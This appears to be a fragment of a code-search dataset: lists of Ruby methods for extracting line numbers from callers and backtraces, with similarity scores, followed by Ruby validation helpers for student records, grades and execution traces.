"def parse_source_location(caller)\n case caller\n when Exception\n trace = caller.backtrace.reject{ |bt| bt =~ INTERNALS }\n caller = trace.first\n when Array\n caller = caller.first\n end\n caller =~ /(.+?):(\\d+(?=:|\\z))/ or return \"\"\n source_file, source_line = $1, $2.to_i\n returnf source_file, source_line\n end",
"def get_line(exception)\n # SyntaxErrors have weird line reporting\n # when there's trailing whitespace,\n # which there is for BabyBro documents.\n return (exception.message.scan(/:(\\d+)/).first || [\"??\"]).first if exception.is_a?(::SyntaxError)\n (exception.backtrace[0].scan(/:(\\d+)/).first || [\"??\"]).first\n end",
"def __caller_source_line__(caller_depth=0, source_line_count=nil, source_file=nil, source_line_number=nil)\n source_line_number ||= __caller_line_number__(caller_depth+1)\n source_file ||= __caller_file__(caller_depth+1)\n source_line = ''\n if defined?(Pry) && source_file.include?('(pry)')\n @pry_instance ||= Pry.new\n source_line = Pry::Command::Hist.new(pry_instance: @pry_instance).call.instance_variable_get(:@buffer).split(\"\\n\")[source_line_number - 1] # TODO handle multi-lines in source_line_count\n elsif defined?(IRB) && TOPLEVEL_BINDING.receiver.respond_to?(:conf)\n source_line = TOPLEVEL_BINDING.receiver.conf.io.line(source_line_number) # TODO handle multi-lines in source_line_count\n else\n source_line = PutsDebuggerer::SourceFile.new(source_file).source(source_line_count, source_line_number)\n end\n source_line\n end",
"def line_number; end",
"def line_number; end",
"def line_number; end",
"def line_number; end",
"def line_number; end",
"def line_number; end",
"def line_number; end",
"def previous_code_line(line_number); end",
"def line_number\n env(:line_number).to_i - 1\n end",
"def line_number\n @value.line_number if @value.respond_to?(:line_number)\n end",
"def line_number\n raise \"This loader doesn't support line_number\"\n end",
"def source_line\n @source_location[1]\n end",
"def source_location(caller)\n case caller\n when Exception\n trace = caller.backtrace.select{ |bt| RUBY_IGNORE_CALLERS.all?{ |ric| bt !~ ric } }\n caller = trace.first\n when Array\n trace = caller.select{ |bt| RUBY_IGNORE_CALLERS.all?{ |ric| bt !~ ric } }\n caller = trace.first\n end\n caller =~ /(.+?):(\\d+(?=:|\\z))/ or return \"\"\n source_file, source_line = $1, $2.to_i\n # substitute `.` path in source_file for current working directory\n source_file.sub!(/^\\./, @pwd)\n return source_file, source_line\n end",
"def get_index(name_line)\n index_found = -1\n pattern = /\\(TestRail:.*\\:\\s*([0-9]+)\\s*\\)/\n just_cases = pattern.match(name_line)\n if ! just_cases.nil?\n index_found = just_cases[1].to_i\n end\n return index_found\n end",
"def linenumber\n return @cmd.nil? ? 0 : @cmd.linenumber\n end",
"def source_line(lineno); end",
"def target_line_number\n model.source_location(target_symbol)[:line_number]\n end",
"def lineno\n @source.lineno\n end",
"def line_number\n\t\t\t@line_index + 1\n\t\tend",
"def line_number(pos=pos())\n line_index(pos) + 1\n end",
"def lineno\n @__line\n end",
"def line_id\n @line_number - 1\n end",
"def lineno\n @_st_lineno\n end",
"def line\n return 1 unless lexing_context && locator\n locator.line_for_offset(lexing_context[:end_offset])\n end",
"def lineno=(_arg0); end",
"def determine_line_number(scanner)\n scanner.string[0, scanner.pos].count(\"\\n\")\n end",
"def __find_caller__(str)\n i_caller = str[0]\n if i_caller =~ /([^:]+):([0-9]+)(:.*)?/\n file = File.expand_path($1)\n line = $2.to_i\n if not $__source_files__.include?(file)\n $__source_files__.push(file)\n end\n [file, line]\n else\n puts i_caller\n puts \"[Internal Error] __find_caller__ is called inappropriately.\" \n exit(1)\n end\nend",
"def line\n\t return -1 if @inputStack.empty? # only if initialize() arg is bogus\n\n\t input = @inputStack[0] # not @inputStack.last\n\t str = input.string[0 .. input.pos]\n\t return str.count(\"\\n\") + 1\n\tend",
"def lineno() end",
"def lineno() end",
"def lineno() end",
"def parse_caller_string caller_string\n sections = caller_string.split(' ')\n parts = sections.first.split(':')\n file_name = parts.shift\n line_number = parts.shift\n class_name = class_name_from_caller_string caller_string\n #puts \">> class_name: #{class_name} file_name: #{file_name} line_number: #{line_number}\"\n [class_name, file_name, line_number]\n end",
"def line_index(pos=pos())\n p = n = 0\n string.each_line do |line|\n p += line.length\n return n if p >= pos\n n += 1\n end\n 0\n end",
"def sass_line\n sass_backtrace.first[:line]\n end",
"def current_line_number\n # Not using string[@previous_pos..best_pos].count('\\n') because it is slower\n strscan = ::StringScanner.new(string)\n strscan.pos = @previous_pos\n old_pos = pos + 1\n @previous_line_number += 1 while strscan.skip_until(/\\n/) && strscan.pos <= old_pos\n\n @previous_pos = (eos? ? pos : pos + 1)\n @previous_line_number\n end",
"def churn_line_to_int(line)\n #/\\((\\d+)\\)/.match(line)[1].to_i\n match=/\\((\\d+) /.match(line)\n match==nil ? 0 : match[1].to_i\nend",
"def line_number(pos=pos)\n line_index(pos) + 1\n end",
"def lineno()\n #This is a stub, used for indexing\n end",
"def extract_source_from(error)\n extract = []\n \n code = error.backtrace[1]\n md = code.match(%r{:(\\d+):in `(.*)'$})\n line_num = md[1].to_i\n\n if lines = code.split(\"\\n\")[(line_num - RADIUS)..(line_num + RADIUS)]\n lines.each_with_index do |line, idx|\n lidx = line_num - RADIUS + idx \n extract << \"#{lidx}: #{line}\"\n end \n end\n \n return extract\n end",
"def extract_trace_id env\n trace_context = env[\"HTTP_X_CLOUD_TRACE_CONTEXT\"].to_s\n return nil if trace_context.empty?\n trace_context.sub(%r{/.*}, \"\")\n end",
"def line_at(filename, line_number)\n source_reload\n\n return \"\\n\" unless File.exist?(filename)\n line = Tracer::Single.get_line(filename, line_number)\n\n return \"#{line.gsub(/^\\s+/, '').chomp}\"\n end",
"def error_line(part)\n raise BASICRuntimeError.new(:te_erl_no_err) if @resume_stack.empty?\n\n line_index = @resume_stack[-1]\n\n case part.to_i\n when 0\n value = line_index.number\n when 1\n value = line_index.statement\n when 2\n value = line_index.index\n else\n raise BASICRuntimeError.new(:te_val_out, 'ERL')\n end\n\n NumericConstant.new(value.to_i)\n end",
"def line_index(pos=pos)\n p = n = 0\n string.each_line do |line|\n p += line.length\n return n if p >= pos\n n += 1\n end\n 0\n end",
"def line_number\n location = caller_locations.find do |loc|\n loc.path.include? 'rakefile'\n end\n location ? location.lineno : 0\n end",
"def start_line_number; end",
"def start_line_number; end",
"def error_to_line_number(error, doc)\n return 0 unless doc\n\n nodes = doc.search(error.location)\n return 0 if nodes.count.zero? || nodes.first.class != Nokogiri::XML::Element\n\n nodes.first.line\n end",
"def import_call_site(backtrace)\n frame = backtrace.detect {|f| f !~ /in `Rns'$/ }\n file, line = frame.split(':', 2)\n [file, line.to_i]\n end",
"def start_line_number=(_); end",
"def current_line_number; end",
"def line\n buffer[line_number]\n end",
"def stacktrace\n result = caller().reduce([]) do |memo, loc|\n if loc =~ /\\A(.*\\.pp)?:([0-9]+):in\\s(.*)/\n # if the file is not found we set to code\n # and read from Puppet[:code]\n # $3 is reserved for the stacktrace type\n memo << [$1.nil? ? :code : $1, $2.to_i]\n end\n memo\n end.reverse\n end",
"def line_num; end",
"def build_trace\n if with_bt_set?\n Backtrace.to_s(@with_bt + [first_filtered_bt_line(backtrace)])\n else\n src_line\n end\n end",
"def strip_line_numbers(str_with_ruby_code)\n str_with_ruby_code.gsub(/ *\\d+: ? ?/, \"\")\n end",
"def tail_code_line(cm, start)\n \n iseq = cm.iseq\n \n i = start\n fin = cm.lines.last\n while i < fin\n line_no = cm.line_from_ip(i)\n return line_no if line_no > 0\n op = iseq[i]\n case op\n when OP_GOTO_IF_TRUE, OP_GOTO_IF_FALSE, OP_GOTO\n when OP_GOTO\n i = iseq[i+1]\n when OP_RET\n return -2\n when nil\n return -1\n else\n # Rubinius is getting an error here sometimes. Need to figure\n # out what's wrong.\n begin\n op = Rubinius::InstructionSet[op]\n rescue TypeError\n return -1\n end\n i += (op.arg_count + 1)\n end\n end\n return 0\n end",
"def line(number); end",
"def line_offset(pos=pos())\n p = 0\n string.each_line do |line|\n len = line.length\n return (pos - p) if p + len >= pos\n p += len\n end\n 0\n end",
"def exe_Point_Finder(trace)\n symbol_stack = []\n other_list = []\n top_symbol = ''\n exe = ''\n exe_point = ' '\n on = false\n off = false\n trace.split('').each do |i|\n current_symbol = i\n exe_point += current_symbol\n if i == '{' or i == '[' or i == '('\n symbol_stack << i\n elsif i == '}' or i == ')' or i == ']'\n if empty?(symbol_stack) == false\n top_symbol = symbol_stack.pop\n if i == '}' and top_symbol != '{'\n next\n end\n end\n elsif i == ','\n other_list << exe_point\n if symbol_stack.length.zero?\n other_list.each do |thing|\n exe += thing\n end\n if exe.include? 'startTraceNow'\n on = true\n exe = ''\n exe_point = ''\n other_list = []\n elsif exe.include? 'endTraceNow'\n off = true\n return\n else\n flag = verify_exe_point(on, off, exe)\n on = false if flag == false\n exe = ''\n exe_point = ''\n other_list = []\n end\n else\n exe_point = ''\n end\n\n else\n next\n end\n end\n end",
"def location e # :nodoc:\n last_before_assertion = \"\"\n e.backtrace.reverse_each do |s|\n break if s =~ /in .(assert|refute|flunk|pass|fail|raise|must|wont)/\n last_before_assertion = s\n end\n file, line = last_before_assertion.sub(/:in .*$/, '').split(':')\n line = line.to_i if line\n return file, line\n end",
"def line_offset(pos=pos)\n p = 0\n string.each_line do |line|\n len = line.length\n return (pos - p) if p + len >= pos\n p += len\n end\n 0\n end",
"def hex_trace_id\n trace_id.unpack1('H*')\n end",
"def lineno=(p0) end",
"def lineno=(p0) end",
"def lineno=(p0) end",
"def line(number)\n end",
"def visit_trace(code, ins, local_vars, ln, info)\r\n end",
"def parse_code(some_number)\n some_number = clean(some_number)\n sub_index = (1..some_number.length).find do |len|\n valid_code? some_number[0,len]\n end\n some_number[0,sub_index] unless sub_index.nil?\n end",
"def parse_caller(at)\n if /^(.+?):(\\d+)(?::in `(.*)')?/ =~ at\n file = Regexp.last_match[1]\n line = Regexp.last_match[2]\n method = Regexp.last_match[3]\n \"#{File.basename(file)}:#{line}:#{method}|\"\n else\n \"\"\n end\n end",
"def line_pos(row)\n (row > 0 ? src.split(\"\\n\")[0..(row - 1)].inject(0) { |pos, line| pos + line.length + 1 } : 0)\n end",
"def line_index()\n end"
] | [
"0.7728589",
"0.7561722",
"0.7522045",
"0.7247545",
"0.6928189",
"0.6853162",
"0.68316257",
"0.6789391",
"0.6720793",
"0.6711742",
"0.66255116",
"0.66115427",
"0.65748245",
"0.6496958",
"0.6488452",
"0.6481479",
"0.64529824",
"0.64021224",
"0.6384644",
"0.6332786",
"0.6304918",
"0.62725335",
"0.62725335",
"0.62725335",
"0.62515044",
"0.6224375",
"0.6183544",
"0.6150928",
"0.6071887",
"0.60564244",
"0.60564244",
"0.60564244",
"0.60564244",
"0.60564244",
"0.60564244",
"0.60564244",
"0.60498893",
"0.6024318",
"0.60139215",
"0.5987544",
"0.5922914",
"0.5884268",
"0.58829665",
"0.58818907",
"0.5879552",
"0.5868334",
"0.5827227",
"0.58145374",
"0.58122396",
"0.58053285",
"0.5797461",
"0.57749915",
"0.577424",
"0.57718366",
"0.57671446",
"0.57586765",
"0.5736668",
"0.57316476",
"0.57316476",
"0.57316476",
"0.57241344",
"0.57129735",
"0.5711857",
"0.5706222",
"0.57051414",
"0.5695754",
"0.56888497",
"0.5682249",
"0.5677622",
"0.5666474",
"0.5662756",
"0.5659071",
"0.5657548",
"0.565463",
"0.565463",
"0.5636765",
"0.5625898",
"0.5624723",
"0.5623599",
"0.5616484",
"0.56101155",
"0.560454",
"0.5602227",
"0.55961555",
"0.5583078",
"0.55745906",
"0.5573966",
"0.5551957",
"0.55477446",
"0.55428576",
"0.55262417",
"0.55135745",
"0.55135745",
"0.55124784",
"0.5501119",
"0.5495721",
"0.5489879",
"0.5489413",
"0.547581",
"0.54684496"
] | 0.7007544 | 4 |
Validate that the trace is for the student code. Requiers reimplementing | def verify_exe_point(on, off, in_point)
add_exe_point = false
exe_trace = Event.new
if on == true && off == false
exe_trace.set_event(in_point)
exe_trace.set_line(extract_line_num(in_point))
@event_manager.add_event(exe_trace)
add_exe_point = true
elsif on == false && off == false
add_exe_point = false
else
add_exe_point = false
end
add_exe_point
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def internal_validate_scn\n unless self.scottish_candidate_number.empty?\n unless Student.validate_scn self.scottish_candidate_number\n self.errors.add(:scottish_candidate_number, 'is not valid')\n end\n end\n end",
"def valid_student_uin\n if student && uin.blank?\n errors.add(:uin, 'must be provided for students')\n return\n elsif !student && !uin.blank?\n errors.add(:uin, 'cannot be supplied for non-students')\n return\n elsif !student && uin.blank?\n return\n end\n\n errors.add(:uin, 'must only contain numbers') unless uin.split('').all? { |c| /^[0-9]$/.match?(c) }\n errors.add(:uin, 'must be a length of 9') if uin.length != 9\n end",
"def ensure_valid_student_for_class_list!(student_id, workspace_id)\n # Check that the educator is authorized to see the grade and school for this student\n student = Student.find(student_id)\n raise Exceptions::EducatorNotAuthorized unless queries.is_authorized_for_grade_level_now?(student.school_id, student.grade)\n\n # Check that they gave a valid `workspace_id` and that it matches\n # the school and grade level for the student they're asking about.\n class_list = queries.read_authorized_class_list(workspace_id)\n raise Exceptions::EducatorNotAuthorized if class_list.nil?\n raise Exceptions::EducatorNotAuthorized if class_list.school_id != student.school_id\n raise Exceptions::EducatorNotAuthorized if class_list.grade_level_next_year != GradeLevels.new.next(student.grade)\n\n student\n end",
"def verify?(idno, vcode)\n if idno==''|| vcode==''\n flash[:error]=\"All fields are required.\"\n return false\n end\n\n #check if student exists\n begin\n student = Profile.find(idno)\n if student.idNo==2041575 #premade Profile for nonexistent students (check web service)\n flash[:error]=\"The student cannot be found. Please check the ID number and try again.\"\n return false\n end\n \n \n #need hash formula for vcode verification here!\n if vcode != hash(idno)[4..9]\n flash[:error]=\"Invalid Verification Code #{hash(idno)[4..9]}\"\n return false\n end\n rescue\n flash[:error]=\"The student cannot be found. Please check the ID number and try again.\"\n return false\n end\n\n return true\n end",
"def validity\n msg=\"\"\n valid=true\n unless self.student.notebook.nil? || self.student.notebook.ident==self.ident\n msg=\"L'étudiant a déja un cahier (#{self.student.notebook.ident})\"\n valid=false\n end\n self.errors.add(:base, \"Notebook is not valid:#{msg}\") unless valid\n valid\n end",
"def validity\n msg=\"\"\n valid=true\n unless self.default_location.nil?\n # test si la salle est deja allouee a une classe\n unless self.default_location.class_school.nil? || self.default_location.class_school==self\n msg=\"La salle est déja occupée (#{self.default_location.class_school.ident}) !!\"\n valid=false\n else\n if self.nb_max_student > self.default_location.location_nb_max_person\n msg=\"La salle est trop petite (#{self.default_location.location_nb_max_person}) !!\"\n valid=false\n end\n end\n end\n self.errors.add(:base, \"Class school is not valid:#{msg}\") unless valid\n valid\n end",
"def check_syntax_trace(context, schema, datum, depth, trace)\n return unless trace < 0\n depth.times { print \"*\" }\n print \"* #{context}\\n schema: #{schema.inspect[0 .. trace.abs]}\\n\"\n print \" datum: #{datum.inspect[0 .. trace.abs]}\\n\"\n end",
"def validity_check\n\n if strand == '+'\n\n codon = ref_seq[0..2].map(&:last).join\n return true if codon.include?('N')\n codon == 'ATG'\n\n elsif strand == '-'\n\n codon = ref_seq[-3..-1].map(&:last).join\n return true if codon.include?('N')\n codon == 'CAT'\n\n end\n\n end",
"def schema_valid_trace(context, schema, trace, key = '')\n return unless trace < 0\n if (key == '')\n print \"#{context}: #{schema.inspect[0 .. trace.abs]}\\n\"\n else\n print \"#{context}: #{key.to_s} #{schema.inspect[0 .. trace.abs]}\\n\"\n end\n end",
"def verify?(idno, vcode)\n if idno==''|| vcode==''\n flash[:error]=\"Fields can not be blank\"\n return false\n end\n\n #check if student exists\n student = Profile.find(idno)\n if student.id==3 #premade Profile for nonexistent students (check web service)\n flash[:error]=\"Student not found\"\n return false\n end\n\n #need hash formula for vcode verification here!\n if vcode != hash(idno)[4..9]\n flash[:error]=\"Invalid Verification Code #{hash(idno)[4..9]}\"\n return false\n end\n\n\n return true\n end",
"def validate_seqname\n end",
"def validate_code\n true\n end",
"def check_must_be_student_restriction\n if @offering.allow_students_only?\n @restriction = MustBeStudentRestriction.new(:offering_id => @offering.id)\n render :action => \"restricted\" and return unless @restriction.allows?(@user_application)\n end\n if !@user_application.person.is_a?(Student) && @offering.require_invitation_codes_from_non_students?\n redirect_to :action => \"enter_code\" and return if @user_application.offering_invitation_code.nil?\n end\n end",
"def subject_is_case\n\t\tif study_subject and !study_subject.is_case?\n\t\t\terrors.add(:study_subject,\"must be case to have patient info\")\n\t\tend\n\tend",
"def check_data_validation\r\n if @tx_interest.text.to_f > 0 and \r\n @tx_interest.text.to_f < 0.1 and\r\n @tx_amount.text.to_i >= 1000 and\r\n @tx_years.text.to_i >= 1 then\r\n tf = true\r\n else\r\n tf = false\r\n end\r\n return tf\r\n end",
"def validate_student(student_params)\n mobile_number_regex = /^[1-9]\\d{9}$/\n email_regex = /\\A[\\w+\\-.]+@[a-z\\d\\-]+(\\.[a-z\\d\\-]+)*\\.[a-z]+\\z/i\n\n render json: {error: \"Please enter name\"}, status: :bad_request if params[:name].blank?\n render json: {error: \"Please enter email in right format\"}, status: :bad_request if params[:name].blank? || !params[:email].match(email_regex)\n puts params[:password].size()\n render json: {error: \"Please enter a valid password\"}, status: :bad_request if params[:password].blank? || !(params[:password].size() > 7)\n render json: {error: \"Please enter valid mobile_number\"}, status: :bad_request if params[:mobile].blank? || !params[:mobile].match(mobile_number_regex)\n render json: {error: \"Please enter school_name\"}, status: :bad_request if params[:school_name].blank?\n render json: {error: \"Please enter class\"}, status: :bad_request if params[:standard].blank?\n render json: {error: \"Please enter address\"}, status: :bad_request if params[:address].blank?\n render json: {error: \"Please enter roll_no\"}, status: :bad_request if params[:roll_no].blank?\n end",
"def grade_is_valid?\n if not_nil_and_string(self.grade)\n if GRADES.include? self.grade\n if self.grade == \"k\";self.grade = \"K\";end #force uppercase K\n return true\n end\n end\n return false\n end",
"def grade_is_valid\n errors.add(:grade, 'Invalid grade entered.') unless grade_is_valid?\n end",
"def diag_required\n return if self.vis_type == TELE_VISIT # patient-created visits have no diagnosis\n hcp_codes = hcp_proc_codes.split(',') rescue nil\n return unless hcp_codes.any?\n hcp_codes.each do |code|\n proc = Procedure.find_by(code: code) \n if proc.diag_req\n errors.add(:diag_code, \"Diagnosis is required for this visit\") if diag_code.blank?\n return\n end\n end\n end",
"def valid_rank\n\t\treturn true if self.student == nil || self.section == nil\n\t\tunless self.student.rank >= self.section.min_rank && self.student.rank <= self.section.max_rank\n\t\t\terrors.add(:student, \"does not have the appropriate rank to be registered\")\n\t\tend\n\tend",
"def valid_age\n\t\treturn true if self.student == nil || self.section == nil\n\t\tunless self.student.age >= self.section.min_age && self.student.age <= self.section.max_age\n\t\t\terrors.add(:student, \"does not have the appropriate age to be registered\")\n\t\tend\n\tend",
"def assert_level_0_trace_correct(traces)\n expect(traces[0]['trace_id']).not_to be_empty\n expect(traces[0]['parent_span_id']).to be_empty\n expect(traces[0]['span_id']).not_to be_empty\n expect(['1'].include?(traces[0]['sampled'])).to eq(true)\n end",
"def valid_skill_levels\n %w[beginner intermediate expert]\n end",
"def exam_marks(subject, student)\n exam = exam_data(subject)\n exam_score = exam.scores(student)\n unless exam_score.nil?\n if exam.nil?\n result = 'NA'\n else\n exam_score.nil? ? result = '-' : result = type_result(exam, exam_score)\n end\n result\n end \n end",
"def issn; end",
"def vdate_std_code_phone(std,phone)\n validates_numericality_of std , :only_integer => true ,\n :message => \"^STD Code only numerals no + sign\"\n validates_numericality_of phone , :only_integer => true , :message => \"^Field Phone can have only numerals\"\n\n validates_length_of std , :maximum => 5 , :message => \"^Field STD Code contains more than 5 digits\"\n validates_length_of phone , :maximum => 10 , :message => \"^Field Phone contains more than 10 digits\"\n=begin\nTODO - correct the following code to insert the logic of phone number validation\n if(phone.length == 10)# mobile phone number \n errors.add(std,'must be 91 if a cell phone number') if std != 91\n else\n# TODO - make sure first character in not ZERO. => same logic as in case to check the sign \n end\n=end\nend",
"def verify_iss; end",
"def verify_iss; end",
"def valid; end",
"def assert_level_1_trace_correct(traces)\n expect(traces[1]['trace_id']).to eq(traces[0]['trace_id'])\n expect(traces[1]['parent_span_id']).to eq(traces[0]['span_id'])\n expect(traces[1]['span_id']).not_to be_empty\n expect([traces[1]['trace_id'], traces[1]['parent_span_id']].include?(traces[1]['span_id'])).to be_falsey\n expect(['1'].include?(traces[1]['sampled'])).to eq(true)\n end",
"def correct_security_code\n errors.add(:security_code, \"Security code not valid\") if security_code != SECURITY_CODE\n end",
"def student?\n false\n end",
"def validated; end",
"def check_profile_syntax( profile )\n\tend",
"def valid_before; end",
"def require_student\n @group = Group.find_by_code(params[:code])\n \n if logged_as?(:instructor)\n if current_user == @group.creator\n flash[:notice] = \"You already have joined this group as instructor.\"\n redirect_to instructors_class_path(@group)\n else\n flash[:notice] = \"You need to login as student to join groups.\"\n redirect_to default_path_for(current_user)\n end\n elsif !logged_as?(:student)\n store_location\n flash[:notice] = \"You must be logged in to access this page. Signup or login if you are already a member.\"\n redirect_to students_signup_path(:code => params[:code])\n end\n end",
"def invalid?\n\t\treturn ( major.text.include?('Success') and minor.text.include?('IncorrectSignature') )\n\tend",
"def validated?; end",
"def valid_code?\n area.valid_code? supplied_code\n end",
"def is_valid_timecode(timecode)\n\n if timecode.size != 11\n #raise ArgumentError.new('Error: Invalid timecode. Incorrect length.')\n raise \"\\nERROR: Invalid timecode length found in [\" + timecode + \"].\"\n\n\n elsif timecode[8, 1] != ';' and timecode[8, 1] != ':'\n #raise ArgumentError.new('Error: Invalid timecode. Timecodes must be formatted as hh:mm:ss:ff or hh:mm:ss;ff (for NTSC dropframe)')\n raise \"\\nERROR: Invalid delimiter found in [\" + timecode + \"].\"\n\n else\n true\n end\n\n\nend",
"def validate\n if self.line_item_problem_type.form_tag == 'wrong_dvd' && self.wrong_copy_id.nil?\n errors.add_to_base(\"Barcode number is required\")\n end\n end",
"def valid?\n return false if !@prefecture_name.nil? && @prefecture_name !~ Regexp.new(/(北海道|青森県|岩手県|宮城県|秋田県|山形県|福島県|茨城県|栃木県|群馬県|埼玉県|千葉県|東京都|神奈川県|新潟県|富山県|石川県|福井県|山梨県|長野県|岐阜県|静岡県|愛知県|三重県|滋賀県|京都府|大阪府|兵庫県|奈良県|和歌山県|鳥取県|島根県|岡山県|広島県|山口県|徳島県|香川県|愛媛県|高知県|福岡県|佐賀県|長崎県|熊本県|大分県|宮崎県|鹿児島県|沖縄県)/)\n return false if !@prefecture_code.nil? && @prefecture_code > 47\n return false if !@prefecture_code.nil? && @prefecture_code < 1\n close_cause_validator = EnumAttributeValidator.new('String', [\"01\", \"11\", \"21\", \"31\"])\n return false unless close_cause_validator.valid?(@close_cause)\n latest_validator = EnumAttributeValidator.new('Integer', [0, 1])\n return false unless latest_validator.valid?(@latest)\n hihyoji_validator = EnumAttributeValidator.new('Integer', [0, 1])\n return false unless hihyoji_validator.valid?(@hihyoji)\n true\n end",
"def validate\r\n\r\n end",
"def valid?; end",
"def valid?; end",
"def valid?; end",
"def valid?; end",
"def valid?; end",
"def validate; end",
"def validate; end",
"def validate; end",
"def validate; end",
"def invalid; end",
"def check_grades (name, final_student)\n\tif \n\t\tfinal_student[name] > 75\n\t\tputs \"Your final score is #{final_student[name]}. Congratulations, you passed!\"\n\telse\n\t\tputs \"Your final score is #{final_student[name]}. Sorry, you did not pass.\"\n\tend\nend",
"def validate\n ModelHelper::Validations.validate_combos([{:grade_code => self.grade_code}],self,true) \n \n end",
"def code_analyzer(code, first_trace)\n code_to_viz = code_splitter(code)\n trace_analyzer = TraceAnalyzer.new\n trace_analyzer.handle_everything(code_to_viz, first_trace)\nend",
"def validate\n \n \n end",
"def preprocess_school_info(school_info_attr)\n # Suppress validation - all parts of this form are optional when accesssed through the registration form\n school_info_attr[:validation_type] = SchoolInfo::VALIDATION_NONE unless school_info_attr.nil?\n # students are never asked to fill out this data, so silently reject it for them\n student? || deduplicate_school_info(school_info_attr, self)\n end",
"def describe_error\n message = \"\"\n if self.account_number == nil\n message = message + I18n.t(:wrong_or_missing_account_number, :scope => [:model, :index]) + \" \"\n end\n if self.account_bank_number == nil\n message = message + I18n.t(:wrong_or_missing_account_bank_number, :scope => [:model, :index]) + \" \"\n end\n if self.student.uic == nil\n message = message + I18n.t(:missing_uic, :scope => [:model, :index]) + \" \"\n end\n if self.sident == -666\n message = message + I18n.t(:missing_sident_666, :scope => [:model, :index]) + \" \"\n end\n if self.sident == nil\n message = message + I18n.t(:missing_sident, :scope => [:model, :index]) + \" \"\n end\n return message\n\n end",
"def assert\n raise \"get_grade is not a method\" unless yield\n raise \"90 and above failed\" unless yield\n raise \"80 and above failed\" unless yield\n raise \"70 and above failed\" unless yield\n raise \"60 and above failed\" unless yield\n raise \"59 and below failed\" unless yield\nend",
"def valid?(line)\n true\n end",
"def valid?\n VALID_CODES.include? @code\n end",
"def division_grade_consistency\n return false if self.student.nil? || self.team.nil?\n if self.student.junior? && self.team.junior?\n return true\n elsif !self.student.junior? && !self.team.junior? \n return true\n else \n errors.add(:student, \"'s grade is inappropriate for this team\")\n end\n end",
"def student_team_already_existing\n return false if self.student.nil? || self.team.nil?\n if student_id_changed? || team_id_changed?\n assignment = StudentTeam.for_team(self.team).for_student(self.student)\n errors.add(:student_team,\"assignment already exists\") if !assignment.empty?\n end\n end",
"def visit_trace(code, ins, local_vars, ln, info)\r\n end",
"def required_student\n require_user_type(:student)\n end",
"def parse_student_number(raw)\n if raw.blank?\n errors.add :student_number, \"SAML student number value missing\"\n return nil\n end\n\n value = nil\n\n if raw.is_a?(Array)\n value = parse_student_number_from_array(raw)\n elsif raw.is_a?(String)\n value = parse_student_number_from_string(raw)\n else\n raise ArgumentError, \"Student number must be given either as String or String[] to preserve the leading zero.\"\n end\n\n if value.blank?\n errors.add :student_number, \"SAML student number could not be found\"\n return nil\n end\n\n value.split(\":\").last\n end",
"def valid_code? code\n valid_codes.include? code\n end",
"def critique_st(st, acc)\n st.segment.tap do |x|\n envelope_def = x.node.definition.parent.parent.parent\n\n # Transaction Set Identifier Code\n st.element(1).tap do |e|\n if e.node.present? and e.node.valid?\n unless e.node == envelope_def.id\n acc.ik502(e, \"R\", \"6\", \"is not an allowed value\")\n end\n end\n end\n\n st.parent.tap do |gs|\n # Functional Identifier Code\n gs.element(1).tap do |e|\n if e.node.present? and e.node.valid?\n unless e.node == envelope_def.functional_group\n acc.ak905(e, \"R\", \"1\", \"is not an allowed value\")\n end\n end\n end\n end\n\n if config.editor.defined_at?(envelope_def)\n editor = config.editor.at(envelope_def)\n editor.new(config, received).critique(st, acc)\n end\n end\n\n st.zipper.tap do |zipper|\n until zipper.node.transaction_set?\n zipper = zipper.up\n end\n\n recurse(zipper, acc)\n end\n end",
"def grade_status(student)\n\tif student[:grade] == \"F\"\n\t\t\"failed\"\n\telse\n\t\t\"passed\"\n\tend\nend",
"def check_syntax(schema, datum, validate = true, trace = TRACE_DEFAULT)\n self.error_codes = []\n self.error_messages = \"\"\n if (validate && !schema_is_valid?(schema))\n check_syntax_error(-1, schema, datum, trace)\n else\n check_syntax_internal(schema, datum, 0, trace)\n end\n [self.error_codes, self.error_messages]\n end",
"def ensure_not_referenced\n errors[:base] << \"Student has bookings\" if !bookings.count.zero?\n errors[:base] << \"Student has marks\" if !marks.count.zero?\n\n if errors[:base].length > 0\n return false\n else\n return true\n end\n end",
"def is_student?\n student.nil?\n end",
"def create\n @student = Student.new(student_params)\n\n respond_to do |format|\n if @student.save\n \n if @student.marks1 < 40 || @student.marks2 < 40 || @student.marks3 < 40\n NotifyFailMailer.alert_admin(@student).deliver\n end\n\n format.html { redirect_to @student, notice: \"Student was successfully created.\" }\n format.json { render :show, status: :created, location: @student }\n else\n format.html { render :new, status: :unprocessable_entity }\n format.json { render json: @student.errors, status: :unprocessable_entity }\n end\n end\n end",
"def ident_check sym\n valid, scope = @stack.search sym, true\n NamingError.log(\"Line #{sym.line_number}: No identifier '#{sym.text}' in current scope '#{@current_level}'\") if !valid\n \n scope\n end",
"def parse_student_number(raw)\n value = nil\n\n if raw.is_a?(Array)\n raw.each do |v|\n value = v if v.starts_with?(Vaalit::Haka::HAKA_STUDENT_NUMBER_KEY)\n end\n elsif raw.is_a?(String)\n if raw.starts_with?(Vaalit::Haka::HAKA_STUDENT_NUMBER_KEY)\n value = raw\n else\n Rails.logger.info <<-MSG.squish\n Login failed because student number not found with key\n #{Vaalit::Haka::HAKA_STUDENT_NUMBER_KEY}\n MSG\n Rails.logger.debug \"Failed student number value: #{value}\"\n value = nil\n end\n else\n raise ArgumentError, \"Student number must be given either as String or String[] to preserve the leading zero.\"\n end\n\n raise ArgumentError, \"Student number missing\" if value.blank?\n\n value.split(\":\").last\n end",
"def streams_marks\n xuser = self.user\n xcategory = xuser.personal.category\n stream = Stream.where(id: stream_id)\n required_marks = stream.pluck(xcategory)[0]\n\n if required_marks < xuser.academic.twelfth_marks\n errors.add(:stream_id, \"Error total marks in twelfth standard is not sufficient\")\n end\n end",
"def check_student\n @@name_path = request.env['PATH_INFO']\n if current_user&.student? and (@@name_path != \"/my_projects\" and @@name_path != \"/\")\n begin\n redirect_to :back, alert: \"You do not have access to that page.\"\n rescue Exception\n redirect_to \"/\", alert: \"You do not have access to that page.\"\n end\n end\n end",
"def validateCode(code)\n \n code = code.split(\"\\n\")\n code.delete_if {|w| w.include? \"puts\"}\n code.delete_if {|w| w.include? \"print\" }\n code.join(\"\\n\")\n end",
"def validates_haiku_format\n errors.add(:line1, \"must have 3 syllables\") unless syllables_for(line1) == 3\n errors.add(:line2, \"must have 5 syllables\") unless syllables_for(line2) == 5\n errors.add(:line3, \"must have 3 syllables\") unless syllables_for(line3) == 3\n end",
